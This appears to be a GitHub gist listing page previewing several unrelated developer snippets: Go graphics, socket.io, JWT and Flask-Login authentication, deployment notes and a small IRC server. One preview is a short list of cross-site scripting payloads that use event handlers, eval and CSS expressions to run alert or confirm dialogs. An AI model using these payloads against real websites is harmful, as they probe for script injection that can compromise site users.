Skip to content

Instantly share code, notes, and snippets.

View AWilliams17's full-sized avatar
🟣

Austin Williams AWilliams17

🟣
View GitHub Profile
Development Status :: 1 - Planning
Development Status :: 2 - Pre-Alpha
Development Status :: 3 - Alpha
Development Status :: 4 - Beta
Development Status :: 5 - Production/Stable
Development Status :: 6 - Mature
Development Status :: 7 - Inactive
Environment :: Console
Environment :: Console :: Curses
Environment :: Console :: Framebuffer
@gabrielkw
gabrielkw / raycasting.go
Last active July 25, 2018 01:37
SDL2 raycasting in golang
package main
import (
"fmt"
"github.com/veandco/go-sdl2/sdl"
"math"
"os"
)
var winTitle string = "Go-SDL2 Render"
@alexpchin
alexpchin / socket-cheatsheet.js
Created December 15, 2015 16:58
A quick cheatsheet for socket.io
// sending to sender-client only
socket.emit('message', "this is a test");
// sending to all clients, include sender
io.emit('message', "this is a test");
// sending to all clients except sender
socket.broadcast.emit('message', "this is a test");
// sending to all clients in 'game' room(channel) except sender
@PurpleBooth
PurpleBooth / README-Template.md
Last active May 6, 2024 07:22
A template to make good README.md

Project Title

One Paragraph of project description goes here

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

Prerequisites

@vesse
vesse / express-jwt.js
Last active April 11, 2023 16:43
Two Passport + JWT (JSON Web Token) examples
//
// Implementation using express-jwt middle
//
var express = require('express'),
ejwt = require('express-jwt'),
jwt = require('jsonwebtoken'),
passport = require('passport'),
bodyParser = require('body-parser'),
LocalStrategy = require('passport-local').Strategy,
BearerStrategy = require('passport-http-bearer').Strategy;
@alanhamlett
alanhamlett / Flask-Login-Example.py
Created April 23, 2014 19:25
Flask-Login Example
# -*- coding: utf-8 -*-
"""
More info:
http://flask.pocoo.org/docs/patterns/wtforms/
http://pythonhosted.org/Flask-SQLAlchemy/
https://flask-login.readthedocs.org/en/latest/
"""
from flask import current_app, request, render_template, redirect, url_for
from myapp.models import User
<div style="color:rgb(''&#0;x:expression(alert(1))"></div>
<img/src=%00 id=confirm(1) onerror=eval(id)
<div id=confirm(1) onmouseover=eval(id)>X</div>
<span/onmouseover=confirm(1)>X</span>
<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(88)&chr(83)&chr(83)))
@mplewis
mplewis / flask-uwsgi-nginx-primer.md
Last active October 24, 2022 19:20
Flask + uWSGI + nginx Primer. I've been having trouble with serving a Flask app via uWSGI and nginx, so I thought I'd put together some of the basics to help out others.

Flask + uWSGI + nginx Primer

I've been having trouble with serving a Flask app via uWSGI and nginx, so I thought I'd put together some of the basics to help out others.

How this shit works

  • Flask is managed by uWSGI.
  • uWSGI talks to nginx.
@eagleon
eagleon / hircd.py
Created November 24, 2012 10:55
HIrcd – minimal IRC server in Python
#!/usr/bin/python
#
# Very simple hacky ugly IRC server.
#
# Todo:
# - Encode format for each message and reply with ERR_NEEDMOREPARAMS
# - starting server when already started doesn't work properly. PID file is not changed, no error messsage is displayed.
# - Delete channel if last user leaves.
# - [ERROR] <socket.error instance at 0x7f9f203dfb90> (better error msg required)